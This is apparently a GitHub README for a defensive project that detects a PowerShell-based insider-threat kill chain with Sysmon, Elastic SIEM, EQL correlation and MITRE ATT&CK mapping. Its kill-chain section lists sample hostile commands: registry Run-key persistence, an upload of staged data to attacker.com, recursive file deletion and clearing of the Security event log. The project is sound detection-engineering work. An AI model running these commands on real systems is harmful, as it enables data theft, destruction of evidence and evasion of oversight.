huyvo13032005/Insider-PowerShell-Detection
GitHub: huyvo13032005/Insider-PowerShell-Detection
一个基于 Sysmon、ELK SIEM 和 MITRE ATT&CK 的内部威胁检测方案,通过 EQL 序列关联完整杀伤链以提升检测精度并降低误报。
Stars: 0 | Forks: 0
# 🛡️ 内部威胁检测 — ELK SIEM + Sysmon + MITRE ATT&CK
## 📋 目录
1. [项目概述](#project-overview)
2. [架构图](#architecture-diagram)
3. [数据流](#data-flow)
4. [检测策略](#detection-strategy)
5. [仓库结构](#repository-structure)
6. [MITRE ATT&CK 覆盖范围](#mitre-attck-coverage)
7. [杀伤链阶段](#kill-chain-phases)
8. [关联逻辑](#correlation-logic)
9. [ELK 集成](#elk-integration)
10. [误报减少](#false-positive-reduction)
11. [经验总结](#lessons-learned)
12. [SOC 价值](#soc-value)
13. [蓝队学习成果](#blue-team-learning-outcomes)
14. [结论](#conclusion)
## 🎯 项目概述
本仓库模拟并检测一个**完整的内部威胁杀伤链**,在 Windows 端点上由合法用户(`ituser`)执行,仅使用内置系统工具——不依赖恶意软件或漏洞利用。
### 威胁场景
| 属性 | 值 |
|------|----|
| 行为者类型 | 恶意内部人员 — 合法域账户 |
| 技术 | 仅使用 PowerShell 的 Living-off-the-Land (LOLBins) |
| 目标 | 工作站上的敏感项目文件 |
| 目的 | 数据外传 + 证据销毁 |
| 检测栈 | Sysmon + Elastic Agent + Elastic SIEM |
### 本仓库涵盖内容
- ✅ 6 个攻击阶段完整映射到 MITRE ATT&CK
- ✅ 6 个独立检测规则(EQL)——每个阶段一个
- ✅ 1 个完整杀伤链关联规则(EQL 序列)
- ✅ 每个阶段的 KQL 调查查询
- ✅ Sysmon 事件 ID 与技术的映射
- ✅ Elastic SIEM 集成指南
- ✅ Kibana 仪表板模板
- ✅ 示例日志事件(JSON)
- ✅ 索引映射模板
- ✅ 误报分析与调优建议
## 🏗️ 架构图
```
┌─────────────────────────────────────────────────────────────────┐
│ WINDOWS ENDPOINT │
│ │
│ ituser (valid account) │
│ │ │
│ ▼ │
│ PowerShell.exe ──► Sysmon (EID 1,3,11,13,23) │
│ │ │ │
│ ▼ ▼ │
│ Attack Chain Windows Event Log │
│ ───────────── (Microsoft-Windows-Sysmon/Operational)│
└───────────────────────────────┬─────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ ELASTIC AGENT (Fleet) │
│ │
│ Windows Integration ──► ECS Normalization ──► TLS/HTTPS │
│ │
│ Data Stream: logs-windows.sysmon_operational-default │
└───────────────────────────────┬─────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ ELASTICSEARCH (Cloud/On-Prem) │
│ │
│ Index: logs-windows.sysmon_operational-* │
│ Index: logs-endpoint.events.* │
│ Alerts: .alerts-security.alerts-default │
│ │
│ ILM: Hot (7d) → Warm (30d) → Cold (90d) → Delete (365d) │
└───────────────────────────────┬─────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ ELASTIC SIEM (Kibana) │
│ │
│ Detection Rules Engine │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Rule Scheduler (every 5m) │ │
│ │ EQL Query ──► Match? ──► Alert Document ──► Action │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ Alerts ──► OS Ticket (Webhook) ──► SOC Investigation │
└─────────────────────────────────────────────────────────────────┘
```
## 🔄 数据流
```
Windows Host
│
├─ PowerShell executes → Sysmon captures EID 1 (Process Create)
├─ Files created → Sysmon captures EID 11 (File Create)
├─ Registry modified → Sysmon captures EID 13 (Registry Set)
├─ Network connection → Sysmon captures EID 3 (Network Connect)
└─ Files deleted → Sysmon captures EID 23 (File Delete)
│
▼
Windows Event Log (Sysmon/Operational channel)
│
▼
Elastic Agent (Fleet-managed)
│ ├─ Reads from Windows Event Log
│ ├─ Applies ECS field mapping
│ └─ Enriches with host metadata
│
▼
Elasticsearch Data Stream
│ logs-windows.sysmon_operational-default
│
▼
Elastic SIEM Detection Engine
│ ├─ Runs EQL rules every 5 minutes
│ ├─ Matches events → creates alert documents
│ └─ Triggers webhook → OS Ticket
│
▼
SOC Analyst
└─ Investigate → Contain → Eradicate → Recover
```
### Sysmon → ECS 字段映射
| Sysmon 字段 | ECS 字段 | 说明 |
|-------------|----------|------|
| `Image` | `process.executable` | 进程完整路径 |
| `CommandLine` | `process.command_line` | 完整命令行 |
| `ParentImage` | `process.parent.executable` | 父进程路径 |
| `User` | `user.name` | 执行用户 |
| `Computer` | `host.name` | 主机名 |
| `TargetFilename` | `file.path` | 文件路径(EID 11、23) |
| `TargetObject` | `registry.path` | 注册表键路径(EID 13) |
| `Details` | `registry.data.strings` | 注册表值数据(EID 13) |
| `DestinationIp` | `destination.ip` | 目标 IP(EID 3) |
| `DestinationPort` | `destination.port` | 目标端口(EID 3) |
| `ProcessGuid` | `process.entity_id` | 唯一进程标识符 |
## 🧠 检测策略
### 哲学
### 检测层级
```
Layer 1: Single-event rules (low confidence, high sensitivity)
→ Catch individual TTPs; generate leads for analysts
→ Risk scores: 45–80
Layer 2: Mini-sequences per phase (medium confidence)
→ Correlate 2–3 related events within a phase
→ Risk scores: 65–85
Layer 3: Full kill chain correlation (high confidence, critical)
→ Require all 6 phases in order, same user, same host, 2h window
→ Risk score: 99 | Severity: Critical
```
### 信噪比原则
| 规则类型 | 流量规模 | 置信度 | SOC 动作 |
|----------|----------|--------|----------|
| 单阶段规则 | 高 | 低-中 | 加入队列进行审查 |
| 阶段序列 | 中 | 中等 | 4 小时内调查 |
| 完整杀伤链 | 低 | 非常高 | 立即响应 |
## 📁 仓库结构
```
insider-threat-detection/
│
├── README.md ← This file
│
├── phase-1-execution/
│ ├── README.md ← Phase overview + theory
│ ├── detection_rule.eql ← EQL detection rule (importable)
│ ├── hunt_query.kql ← KQL threat hunting query
│ └── mitre_mapping.md ← MITRE ATT&CK mapping
│
├── phase-2-discovery/
│ ├── README.md
│ ├── detection_rule.eql
│ ├── hunt_query.kql
│ └── mitre_mapping.md
│
├── phase-3-collection/
│ ├── README.md
│ ├── detection_rule.eql
│ ├── hunt_query.kql
│ └── mitre_mapping.md
│
├── phase-4-persistence/
│ ├── README.md
│ ├── detection_rule.eql
│ ├── hunt_query.kql
│ └── mitre_mapping.md
│
├── phase-5-exfiltration/
│ ├── README.md
│ ├── detection_rule.eql
│ ├── hunt_query.kql
│ └── mitre_mapping.md
│
├── phase-6-defense-evasion/
│ ├── README.md
│ ├── detection_rule.eql
│ ├── hunt_query.kql
│ └── mitre_mapping.md
│
├── correlation-rules/
│ ├── insider_full_kill_chain.eql ← CRITICAL: full sequence rule
│ └── README.md
│
├── dashboards/
│ ├── insider_threat_dashboard.ndjson← Kibana dashboard export
│ └── README.md
│
├── mappings/
│ ├── mitre_full_mapping.md ← Complete MITRE mapping table
│ ├── sysmon_ecs_mapping.md ← Sysmon → ECS field reference
│ └── index_template.json ← Elasticsearch index template
│
├── sample-logs/
│ ├── phase1_execution.json
│ ├── phase2_discovery.json
│ ├── phase3_collection.json
│ ├── phase4_persistence.json
│ ├── phase5_exfiltration.json
│ └── phase6_defense_evasion.json
│
└── detection-logic/
├── detection_strategy.md ← Full detection engineering notes
└── elk_integration_guide.md ← ELK setup and tuning guide
```
## 🗺️ MITRE ATT&CK 覆盖范围
| 阶段 | 战术 | 技术 | 子技术 | 战术 ID | Sysmon EID | 规则文件 |
|------|------|------|--------|---------|------------|----------|
| 1 | 执行 | T1059 | T1059.001 | TA0002 | EID 1 | phase-1-execution/detection_rule.eql |
| 2 | 侦察 | T1083 | — | TA0007 | EID 1 | phase-2-discovery/detection_rule.eql |
| 2 | 侦察 | T1087 | T1087.001 | TA0007 | EID 1 | phase-2-discovery/detection_rule.eql |
| 3 | 收集 | T1560 | T1560.001 | TA0009 | EID 11 | phase-3-collection/detection_rule.eql |
| 3 | 收集 | T1074 | T1074.001 | TA0009 | EID 11 | phase-3-collection/detection_rule.eql |
| 4 | 持久化 | T1547 | T1547.001 | TA0003 | EID 13 | phase-4-persistence/detection_rule.eql |
| 5 | 渗出 | T1041 | — | TA0010 | EID 3 | phase-5-exfiltration/detection_rule.eql |
| 5 | 命令与控制 | T1071 | T1071.001 | TA0011 | EID 3 | phase-5-exfiltration/detection_rule.eql |
| 6 | 防御规避 | T1070 | T1070.004 | TA0005 | EID 23 | phase-6-defense-evasion/detection_rule.eql |
| 6 | 防御规避 | T1070 | T1070.001 | TA0005 | EID 1 | phase-6-defense-evasion/detection_rule.eql |
## ⛓️ 杀伤链阶段
```
[Phase 1: Execution]
powershell.exe -ExecutionPolicy Bypass -File steal.ps1
└── Creates PS session for all subsequent activity
[Phase 2: Discovery]
Get-ChildItem C:\Projects -Recurse | whoami | net user
└── Maps sensitive data locations
[Phase 3: Collection]
Compress-Archive C:\Projects C:\Users\Public\secret.zip
└── Stages data for exfiltration
[Phase 4: Persistence]
reg add HKCU\...\Run /v UpdateSvc /d "powershell.exe steal.ps1"
└── Ensures re-access after account changes
[Phase 5: Exfiltration]
Invoke-WebRequest -Uri https://attacker.com -InFile secret.zip
└── Sends staged data out
[Phase 6: Defense Evasion]
Remove-Item C:\Projects\* -Recurse -Force
Clear-EventLog -LogName Security
└── Destroys evidence and source data
```
## 🔗 关联逻辑
关联规则 `correlation-rules/insider_full_kill_chain.eql` 需要以下条件:
1. **同一主机**(`host.name`)——防止跨主机误报
2. **同一用户**(`user.name`)——确保单行为者归因
3. **有序序列**——事件必须按杀伤链顺序发生
4. **2 小时窗口**(`maxspan=2h`)——真实的攻击持续时间
5. **全部 6 个阶段存在**——高置信度、极低误报
```
Time Window: ─────────────────[ 2 HOURS ]─────────────────
Exec Disc Coll Pers Exfil Evasion
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
EID1 EID1 EID11 EID13 EID3 EID23
└─────┴─────┴─────┴──────┴───────┘
same host.name
same user.name
│
▼
CRITICAL ALERT: risk_score=99
```
## 🔧 ELK 集成
### 索引模式
```
logs-windows.sysmon_operational-* ← Sysmon via Elastic Agent
logs-endpoint.events.process-* ← Elastic Endpoint process events
logs-endpoint.events.file-* ← Elastic Endpoint file events
logs-endpoint.events.registry-* ← Elastic Endpoint registry events
logs-endpoint.events.network-* ← Elastic Endpoint network events
.alerts-security.alerts-default ← Generated alerts (read-only)
```
### 导入规则
1. 导航至 **Security → Rules → Import rules**
2. 从阶段目录上传每个 `.eql` 文件
3. 检查索引模式——根据部署情况更新
4. 启用规则并验证 “Last Response” 显示事件计数
### 风险评分映射
| 阶段 | 风险评分 | 严重性 |
|------|----------|--------|
| 执行 | 65 | 高 |
| 侦察 | 45 | 中 |
| 收集 | 70 | 高 |
| 持久化 | 80 | 高 |
| 渗出 | 78 | 高 |
| 防御规避 | 72 | 高 |
| 关联 | **99** | **严重** |
## 🔕 误报减少
| 技术 | 误报来源 | 缓解策略 |
|------|----------|----------|
| PowerShell 绕过 | IT 管理员维护脚本 | 白名单 `host.name` 或 `user.name` |
| 目录枚举 | 开发工具、文件管理器 | 要求使用 `-Recurse` 并指定敏感路径目标 |
| 归档创建 | 备份软件、OneDrive | 要求暂存位置(`:\Public`、`C:\Temp`) |
| 注册表 Run 键 | 软件安装程序 | 过滤 `registry.data.strings`(必须包含脚本解释器) |
| PowerShell 外联 HTTP | Windows 更新、遥测 | 排除 `*.microsoft.com`、`*.windowsupdate.com` |
| 文件删除 | 正常用户活动 | 要求 `-Recurse` + 敏感路径 + EID 23 |
| **完整关联** | 几乎无 | 序列要求几乎消除所有误报 |
## 📚 经验总结
### 检测工程
- **信号与噪声**:单个 LOLBin 事件过于常见,无法单独告警。上下文与序列才是关键。
- **EQL 优于 KQL**:对于行为检测,EQL 序列查询在精度与表达力上均优于 KQL。
- **索引至关重要**:使用错误索引模式会导致零结果——务必先验证数据流。
- **ECS 规范化**:一致的字段命名(`process.command_line` 而非 `winlog.event_data.CommandLine`)使跨源规则成为可能。
### MITRE ATT&CK
- ATT&CK 是一种**词汇表**,而非检查清单。真正价值在于使用子技术(如 T1059.001 而非仅 T1059)编写精确的检测逻辑。
- ATT&CK 中的**战术序列**反映了真实攻击进展——执行使侦察成为可能,侦察使收集成为可能。检测规则应建模这种依赖关系。
- 并非每个技术都需要独立规则——跨多个战术的关联规则比 20 个单战术规则提供更高价值。
### ELK SIEM
- 检测规则需要**回溯窗口重叠**(`from: now-6m` 与 `interval: 5m`)以防止事件间隙。
- `max_signals` 必须针对每条规则调优——高误报规则需要较低的 `max_signals` 以避免淹没 SOC 队列。
- 始终在 **Kibana Discover** 中测试规则——验证查询是否针对你的特定索引返回预期数据。
- 规则中的 `threat` 数组可在 Kibana 中实现 MITRE ATT&CK 矩阵的自动可视化。
## 💼 SOC 价值
| 指标 | 无本仓库 | 使用本仓库 |
|------|----------|------------|
| 检测覆盖 | 零散、不完整 | 6 个阶段 + 完整关联 |
| 平均修复时间 (MTTR) | 小时–天 | 分钟(自动工单) |
| 告警准确率 | 低(高误报) | 高(行为序列) |
| 分析员效率 | 需手动排查 | 引导式调查路径 |
| MITRE 覆盖 | 未知 | 已映射并记录 |
| 可重复性 | 手动调查 | 运行手册驱动响应 |
## 🎓 蓝队学习成果
完成本仓库后,实践者将理解:
1. **内部威胁与外部攻击的区别**——无初始访问阶段、无漏洞利用,全部使用合法工具
2. **为何 LOLBin 难以检测**——它们与正常活动高度相似
3. **如何构建行为检测**——从原始事件到关联杀伤链告警
4. **EQL 序列机制**——`by` 子句、`maxspan`、事件顺序
5. **Sysmon 配置**——应启用哪些事件 ID 及其原因
6. **ECS 字段映射**——将原始 Sysmon XML 转换为可搜索的 ECS 字段
7. **误报管理**——不仅是编写规则,更是生产环境调优
8. **MITRE ATT&CK 实践应用**——使用该框架指导检测覆盖
## ✅ 结论
### 我们如何检测内部威胁
检测依赖**行为关联**——而非特征匹配。通过将杀伤链的每一层(执行 → 侦察 → 收集 → 持久化 → 渗出 → 规避)作为 Sysmon 的独立遥测事件捕获,并使用 EQL 序列逻辑将它们关联为单一高置信度告警,我们能够检测到特征库工具无法识别的内部活动。
### 关联如何提供帮助
- 将 6 个中等置信度的独立告警减少为 **1 个关键、可操作告警**
- 在单一告警中提供完整的攻击上下文
- 使 SOC 分析员能够跳过分类阶段,直接进入处置
- 通过要求有序顺序行为几乎消除所有误报
### 我们如何减少误报
每条规则都包含:
- 路径过滤(仅敏感目录)
- 进程父级过滤(排除合法父进程)
- 内容过滤(注册表值必须包含脚本解释器)
- 关联层消除单个规则产生的残余误报
### 检测工程启示
内部威胁使用的工具与合法管理员相同。区别在于**上下文、顺序与意图**——而这正是基于 EQL 序列的行为检测所捕获的内容。
*本仓库维护用于教育和 SOC 准备目的。*
*所有技术均参考 MITRE ATT&CK Framework v14。*
标签:AI合规, Cloudflare, Elastic Agent, Elastic Stack, ELK, EQL检测规则, IPv6, Kibana仪表板, Kill Chain, KQL查询, Living-off-the-Land, LOLBins, MITRE ATT&CK, MIT许可证, PowerShell, Sysmon, 假阳性分析, 内部威胁检测, 内鬼威胁检测, 子域名变形, 攻击链, 流量重放, 端点检测, 索引映射, 网络安全审计, 行为检测, 证据破坏, 防御框架